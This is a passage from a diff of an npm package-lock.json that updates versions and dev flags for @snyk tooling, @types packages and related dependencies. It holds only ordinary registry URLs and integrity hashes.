"^1.9.3" + "tmp": "^0.2.1", + "tslib": "^1.9.3", + "xml-js": "^1.6.11" }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } } } }, - "@snyk/lodash": { - "version": "4.17.15-patch", - "resolved": "https://registry.npmjs.org/@snyk/lodash/-/lodash-4.17.15-patch.tgz", - "integrity": "sha512-e4+t34bGyjjRnwXwI14hqye9J/nRbG9iwaqTgXWHskm5qC+iK0UrjgYdWXiHJCf3Plbpr+1rpW+4LPzZnCGMhQ==" - }, - "@snyk/rpm-parser": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.0.0.tgz", - "integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==", + "@snyk/mix-parser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@snyk/mix-parser/-/mix-parser-1.2.0.tgz", + "integrity": "sha512-WXGpI0sVHNuxQ0oLTplOI4NbKPIFkoLV9yUZskBJKMNWnWBRR3+tZr5l7qXQYoVa+Qz2YcQmrIVR2ouIT3IUow==", + "dev": true, "requires": { - "event-loop-spinner": "^2.0.0" + "@snyk/dep-graph": "^1.28.0", + "tslib": "^2.0.0" + }, + "dependencies": { + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + } } }, - "@snyk/ruby-semver": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@snyk/ruby-semver/-/ruby-semver-2.2.0.tgz", - "integrity": "sha512-FqUayoVjcyCsQFYPm3DcaCKdFR4xmapUkCGY+bcNBs3jqCUw687PoP9CPQ1Jvtaw5YpfBNl/62jyntsWCeciuA==", + "@snyk/rpm-parser": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@snyk/rpm-parser/-/rpm-parser-2.2.1.tgz", + "integrity": "sha512-OAON0bPf3c5fgM/GK9DX0aZErB6SnuRyYlPH0rqI1TXGsKrYnVELhaE6ctNbEfPTQuY9r6q0vM+UYDaFM/YliA==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch" + "event-loop-spinner": "^2.0.0" } }, "@snyk/snyk-cocoapods-plugin": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.3.0.tgz", - "integrity": "sha512-4V1xJMqsK6J3jHu9UufKySorzA8O1vNLRIK1JgJf5KcXQCP44SJI5dk9Xr9iFGXXtGo8iI9gmokQcHlGpkPSJg==", + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/@snyk/snyk-cocoapods-plugin/-/snyk-cocoapods-plugin-2.5.2.tgz", + "integrity": "sha512-WHhnwyoGOhjFOjBXqUfszD84SErrtjHjium/4xFbqKpEE+yuwxs8OwV/S29BtxhYiGtjpD1azv5QtH30VUMl0A==", + "dev": true, "requires": { - "@snyk/cli-interface": "1.5.0", - "@snyk/cocoapods-lockfile-parser": "3.4.0", - "@snyk/dep-graph": "^1.18.2", + "@snyk/cli-interface": "^2.11.0", + "@snyk/cocoapods-lockfile-parser": "3.6.2", + "@snyk/dep-graph": "^1.23.1", "source-map-support": "^0.5.7", "tslib": "^2.0.0" }, "dependencies": { - "@snyk/cli-interface": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-1.5.0.tgz", - "integrity": "sha512-+Qo+IO3YOXWgazlo+CKxOuWFLQQdaNCJ9cSfhFQd687/FuesaIxWdInaAdfpsLScq0c6M1ieZslXgiZELSzxbg==", - "requires": { - "tslib": "^1.9.3" - }, - "dependencies": { - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" - } - } - }, "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true } } }, "@snyk/snyk-docker-pull": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.0.tgz", - "integrity": "sha512-uWKtjh29I/d0mfmfBN7w6RwwNBQxQVKrauF5ND/gqb0PVsKV22GIpkI+viWjI7KNKso6/B0tMmsv7TX2tsNcLQ==", + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/@snyk/snyk-docker-pull/-/snyk-docker-pull-3.2.3.tgz", + "integrity": "sha512-hiFiSmWGLc2tOI7FfgIhVdFzO2f69im8O6p3OV4xEZ/Ss1l58vwtqudItoswsk7wj/azRlgfBW8wGu2MjoudQg==", + "dev": true, "requires": { - "@snyk/docker-registry-v2-client": "^1.13.5", + "@snyk/docker-registry-v2-client": "1.13.9", "child-process": "^1.0.2", "tar-stream": "^2.1.2", "tmp": "^0.1.0" @@ -1652,43 +3643,94 @@ "version": "0.1.0", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "dev": true, "requires": { "rimraf": "^2.6.3" } } } }, + "@snyk/snyk-hex-plugin": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@snyk/snyk-hex-plugin/-/snyk-hex-plugin-1.1.1.tgz", + "integrity": "sha512-NXgslDo6qSvsKy2cR3Yoo/Z6A3Svae9a96j+0OUnvcZX7i6JeODreqXFD1k0vPM2JnL1G7qcdblPxz7M7ZAZmQ==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.28.0", + "@snyk/mix-parser": "^1.1.1", + "debug": "^4.3.1", + "tslib": "^2.0.0", + "upath": "2.0.1" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + }, + "upath": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/upath/-/upath-2.0.1.tgz", + "integrity": "sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==", + "dev": true + } + } + }, "@stylelint/postcss-css-in-js": { - "version": "0.37.1", - "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.1.tgz", - "integrity": "sha512-UMf2Rni3JGKi3ZwYRGMYJ5ipOA5ENJSKMtYA/pE1ZLURwdh7B5+z2r73RmWvub+N0UuH1Lo+TGfCgYwPvqpXNw==", + "version": "0.37.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.2.tgz", + "integrity": "sha512-nEhsFoJurt8oUmieT8qy4nk81WRHmJynmVwn/Vts08PL9fhgIsMhk1GId5yAN643OzqEEb5S/6At2TZW7pqPDA==", "dev": true, "requires": { "@babel/core": ">=7.9.0" } }, "@stylelint/postcss-markdown": { - "version": "0.36.1", - "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.1.tgz", - "integrity": "sha512-iDxMBWk9nB2BPi1VFQ+Dc5+XpvODBHw2n3tYpaBZuEAFQlbtF9If0Qh5LTTwSi/XwdbJ2jt+0dis3i8omyggpw==", + "version": "0.36.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.2.tgz", + "integrity": "sha512-2kGbqUVJUGE8dM+bMzXG/PYUWKkjLIkRLWNh39OaADkiabDRdw8ATFCgbMz5xdIcvwspPAluSL7uY+ZiTWdWmQ==", "dev": true, "requires": { - "remark": "^12.0.0", - "unist-util-find-all-after": "^3.0.1" + "remark": "^13.0.0", + "unist-util-find-all-after": "^3.0.2" } }, "@szmarczak/http-timer": { "version": "4.0.5", "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.5.tgz", "integrity": "sha512-PyRA9sm1Yayuj5OIoJ1hGt2YISX45w9WcFbh6ddT0Z/0yaFxOtGLInr4jUfU1EAFVs0Yfyfev4RNwBlUaHdlDQ==", + "dev": true, "requires": { "defer-to-connect": "^2.0.0" } }, + "@types/braces": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/braces/-/braces-3.0.0.tgz", + "integrity": "sha512-TbH79tcyi9FHwbyboOKeRachRq63mSuWYXOflsNO9ZyE5ClQ/JaozNKl+aWUq87qPNsXasXxi2AbgfwIJ+8GQw==", + "dev": true + }, "@types/cacheable-request": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.1.tgz", "integrity": "sha512-ykFq2zmBGOCbpIXtoVbz4SKY5QriWPh3AjyU4G74RYbtt5yOc5OfaY75ftjg7mikMOla1CTGpX3lLbuJh8DTrQ==", + "dev": true, "requires": { "@types/http-cache-semantics": "*", "@types/keyv": "*", @@ -1697,24 +3739,27 @@ } }, "@types/classnames": { - "version": "2.2.10", - "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.10.tgz", - "integrity": "sha512-1UzDldn9GfYYEsWWnn/P4wkTlkZDH7lDb0wBMGbtIQc9zXEQq7FlKBdZUn6OBqD8sKZZ2RQO2mAjGpXiDGoRmQ==" + "version": "2.2.11", + "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.11.tgz", + "integrity": "sha512-2koNhpWm3DgWRp5tpkiJ8JGc1xTn2q0l+jUNUE7oMKXUf5NpI9AIdC4kbjGNFBdHtcxBD18LAksoudAVhFKCjw==" }, "@types/color-name": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==" + "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", + "dev": true }, "@types/debug": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.5.tgz", - "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ==" + "integrity": "sha512-Q1y515GcOdTHgagaVFhHnIFQ38ygs/kmxdNpvpou+raI9UO3YZcHDngBSYKQklcKlvA7iuQlmIKbzvmxcOE9CQ==", + "dev": true }, "@types/emscripten": { "version": "1.39.4", "resolved": "https://registry.npmjs.org/@types/emscripten/-/emscripten-1.39.4.tgz", - "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ==" + "integrity": "sha512-k3LLVMFrdNA9UCvMDPWMbFrGPNb+GcPyw29ktJTo1RCN7RmxFG5XzPZcPKRlnLuLT/FRm8wp4ohvDwNY7GlROQ==", + "dev": true }, "@types/events": { "version": "3.0.0", @@ -1722,6 +3767,12 @@ "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==", "dev": true }, + "@types/flat-cache": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@types/flat-cache/-/flat-cache-2.0.0.tgz", + "integrity": "sha512-fHeEsm9hvmZ+QHpw6Fkvf19KIhuqnYLU6vtWLjd5BsMd/qVi7iTkMioDZl0mQmfNRA1A6NwvhrSRNr9hGYZGww==", + "dev": true + }, "@types/glob": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz", @@ -1733,30 +3784,63 @@ "@types/node": "*" } }, + "@types/graphlib": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@types/graphlib/-/graphlib-2.1.7.tgz", + "integrity": "sha512-K7T1n6U2HbTYu+SFHlBjz/RH74OA2D/zF1qlzn8uXbvB4uRg7knOM85ugS2bbXI1TXMh7rLqk4OVRwIwEBaixg==", + "dev": true + }, "@types/hammerjs": { "version": "2.0.36", "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" }, - "@types/hosted-git-info": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@types/hosted-git-info/-/hosted-git-info-2.7.0.tgz", - "integrity": "sha512-OW/D8GqCyQtH8F7xDdDxzPJTBgknZeZhlCakUcBCya2rYPRN53F+0YJVwSPyiyAhrknnjkl3P9qVk0oBI4S1qw==" - }, "@types/http-cache-semantics": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz", - "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==" + "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A==", + "dev": true }, "@types/invariant": { - "version": "2.2.33", - "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.33.tgz", - "integrity": "sha512-/jUNmS8d4bCKdqslfxW6dg/9Gksfzxz67IYfqApHn+HvHlMVXwYv2zpTDnS/yaK9BB0i0GlBTaYci0EFE62Hmw==" + "version": "2.2.34", + "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.34.tgz", + "integrity": "sha512-lYUtmJ9BqUN688fGY1U1HZoWT1/Jrmgigx2loq4ZcJpICECm/Om3V314BxdzypO0u5PORKGMM6x0OXaljV1YFg==" + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz", + "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==" + }, + "@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "requires": { + "@types/istanbul-lib-coverage": "*" + } + }, + "@types/istanbul-reports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz", + "integrity": "sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA==", + "requires": { + "@types/istanbul-lib-report": "*" + } + }, + "@types/jest": { + "version": "26.0.22", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.22.tgz", + "integrity": "sha512-eeWwWjlqxvBxc4oQdkueW5OF/gtfSceKk4OnOAGlUSwS/liBRtZppbJuz1YkgbrbfGOoeBHun9fOvXnjNwrSOw==", + "requires": { + "jest-diff": "^26.0.0", + "pretty-format": "^26.0.0" + } }, "@types/js-yaml": { - "version": "3.12.5", - "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.5.tgz", - "integrity": "sha512-JCcp6J0GV66Y4ZMDAQCXot4xprYB+Zfd3meK9+INSJeVZwJmHAW30BBEEkPzXswMXuiyReUGOP3GxrADc9wPww==" + "version": "3.12.6", + "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.6.tgz", + "integrity": "sha512-cK4XqrLvP17X6c0C8n4iTbT59EixqyXL3Fk8/Rsk4dF3oX4dg70gYUXrXVUUHpnsGMPNlTQMqf+TVmNPX6FmSQ==", + "dev": true }, "@types/json-schema": { "version": "7.0.5", @@ -1767,10 +3851,62 @@ "version": "3.1.1", "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.1.tgz", "integrity": "sha512-MPtoySlAZQ37VoLaPcTHCu1RWJ4llDkULYZIzOYxlhxBqYPB0RsRlmMU0R6tahtFe27mIdkHV+551ZWV4PLmVw==", + "dev": true, "requires": { "@types/node": "*" } }, + "@types/lodash": { + "version": "4.14.168", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.168.tgz", + "integrity": "sha512-oVfRvqHV/V6D1yifJbVRU3TMp8OT6o6BG+U9MkwuJ3U8/CsDHvalRpsxBqivn71ztOFZBTfJMvETbqHiaNSj7Q==", + "dev": true + }, + "@types/lodash.chunk": { + "version": "4.2.6", + "resolved": "https://registry.npmjs.org/@types/lodash.chunk/-/lodash.chunk-4.2.6.tgz", + "integrity": "sha512-SPlusB7jxXyGcTXYcUdWr7WmhArO/rmTq54VN88iKMxGUhyg79I4Q8n4riGn3kjaTjOJrVlHhxgX/d7woak5BQ==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/lodash.omit": { + "version": "4.5.6", + "resolved": "https://registry.npmjs.org/@types/lodash.omit/-/lodash.omit-4.5.6.tgz", + "integrity": "sha512-KXPpOSNX2h0DAG2w7ajpk7TXvWF28ZHs5nJhOJyP0BQHkehgr948RVsToItMme6oi0XJkp19CbuNXkIX8FiBlQ==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/lodash.union": { + "version": "4.6.6", + "resolved": "https://registry.npmjs.org/@types/lodash.union/-/lodash.union-4.6.6.tgz", + "integrity": "sha512-Wu0ZEVNcyCz8eAn6TlUbYWZoGbH9E+iOHxAZbwUoCEXdUiy6qpcz5o44mMXViM4vlPLLCPlkAubEP1gokoSZaw==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/mdast": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.3.tgz", + "integrity": "sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw==", + "dev": true, + "requires": { + "@types/unist": "*" + } + }, + "@types/micromatch": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.1.tgz", + "integrity": "sha512-my6fLBvpY70KattTNzYOK6KU1oR1+UCz9ug/JbcF5UrEmeCt9P7DV2t7L8+t18mMPINqGQCE4O8PLOPbI84gxw==", + "dev": true, + "requires": { + "@types/braces": "*" + } + }, "@types/minimatch": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz", @@ -1778,15 +3914,15 @@ "dev": true }, "@types/minimist": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-aaI6OtKcrwCX8G7aWbNh7i8GOfY=", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.1.tgz", + "integrity": "sha512-fZQQafSREFyuZcdWFAExYjBiCL7AUCdgsk80iO0q4yihYYdcIiH28CcuPTGFgLOCC8RlW49GSQxdHwZP+I7CNg==", "dev": true }, "@types/node": { - "version": "13.13.5", - "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.5.tgz", - "integrity": "sha512-3ySmiBYJPqgjiHA7oEaIo2Rzz0HrOZ7yrNO5HWyaE5q0lQ3BppDZ3N53Miz8bw2I7gh1/zir2MGVZBvpb1zq9g==" + "version": "14.14.37", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.37.tgz", + "integrity": "sha512-XYmBiy+ohOR4Lh5jE379fV2IU+6Jn4g5qASinhitfyO71b/sCo6MKsMLF5tc7Zf2CE8hViVQyYSobJNke8OvUw==" }, "@types/normalize-package-data": { "version": "2.4.0", @@ -1805,12 +3941,28 @@ "integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==" }, "@types/react": { - "version": "16.9.35", - "resolved": "https://registry.npmjs.org/@types/react/-/react-16.9.35.tgz", - "integrity": "sha512-q0n0SsWcGc8nDqH2GJfWQWUOmZSJhXV64CjVN5SvcNti3TdEaA3AH0D8DwNmMdzjMAC/78tB8nAZIlV8yTz+zQ==", + "version": "16.14.5", + "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.5.tgz", + "integrity": "sha512-YRRv9DNZhaVTVRh9Wmmit7Y0UFhEVqXqCSw3uazRWMxa2x85hWQZ5BN24i7GXZbaclaLXEcodEeIHsjBA8eAMw==", "requires": { "@types/prop-types": "*", - "csstype": "^2.2.0" + "@types/scheduler": "*", + "csstype": "^3.0.2" + }, + "dependencies": { + "csstype": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz", + "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==" + } + } + }, + "@types/react-dom": { + "version": "16.9.12", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.12.tgz", + "integrity": "sha512-i7NPZZpPte3jtVOoW+eLB7G/jsX5OM6GqQnH+lC0nq0rqwlK0x8WcMEvYDgFWqWhWMlTltTimzdMax6wYfZssA==", + "requires": { + "@types/react": "^16" } }, "@types/react-table": { @@ -1822,9 +3974,9 @@ } }, "@types/react-transition-group": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.0.tgz", - "integrity": "sha512-/QfLHGpu+2fQOqQaXh8MG9q03bFENooTb/it4jr5kKaZlDQfWvjqWZg48AwzPVMBHlRuTRAY7hRHCEOXz5kV6w==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.1.tgz", + "integrity": "sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ==", "requires": { "@types/react": "*" } @@ -1833,14 +3985,33 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "dev": true, "requires": { "@types/node": "*" } }, + "@types/sarif": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.3.tgz", + "integrity": "sha512-zf+EoIplTkQW2TV2mwtJtlI0g540Z3Rs9tX9JqRAtyjnDCqkP+eMTgWCj3PGNbQpi+WXAjvC3Ou/dvvX2sLK4w==", + "dev": true + }, + "@types/scheduler": { + "version": "0.16.1", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.1.tgz", + "integrity": "sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==" + }, "@types/semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/@types/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-41qEJgBH/TWgo5NFSvBCJ1qkoi3Q6ONSF2avrHq1LVEZfYpdHmj0y9SuTK+u9ZhG1sYQKBL1AWXKyLWP4RaUoQ==" + "version": "7.3.4", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.3.4.tgz", + "integrity": "sha512-+nVsLKlcUCeMzD2ufHEYuJ9a2ovstb6Dp52A5VsoKxDXgvE051XgHI/33I1EymwkRGQkwnA0LkhnUzituGs4EQ==", + "dev": true + }, + "@types/treeify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/treeify/-/treeify-1.0.0.tgz", + "integrity": "sha512-ONpcZAEYlbPx4EtJwfTyCDQJGUpKf4sEcuySdCVjK5Fj/3vHp5HII1fqa1/+qrsLnpYELCQTfVW/awsGJePoIg==", + "dev": true }, "@types/unist": { "version": "2.0.3", @@ -1848,19 +4019,30 @@ "integrity": "sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==", "dev": true }, + "@types/uuid": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.0.tgz", + "integrity": "sha512-eQ9qFW/fhfGJF8WKHGEHZEyVWfZxrT+6CLIJGBcZPfxUh/+BnEj+UCGYMlr9qZuX/2AltsvwrGqp0LhEW8D0zQ==", + "dev": true + }, "@types/warning": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz", "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=" }, - "@types/xml2js": { - "version": "0.4.5", - "resolved": "https://registry.npmjs.org/@types/xml2js/-/xml2js-0.4.5.tgz", - "integrity": "sha512-yohU3zMn0fkhlape1nxXG2bLEGZRc1FeqF80RoHaYXJN7uibaauXfhzhOJr1Xh36sn+/tx21QAOf07b/xYVk1w==", + "@types/yargs": { + "version": "15.0.13", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.13.tgz", + "integrity": "sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==", "requires": { - "@types/node": "*" + "@types/yargs-parser": "*" } }, + "@types/yargs-parser": { + "version": 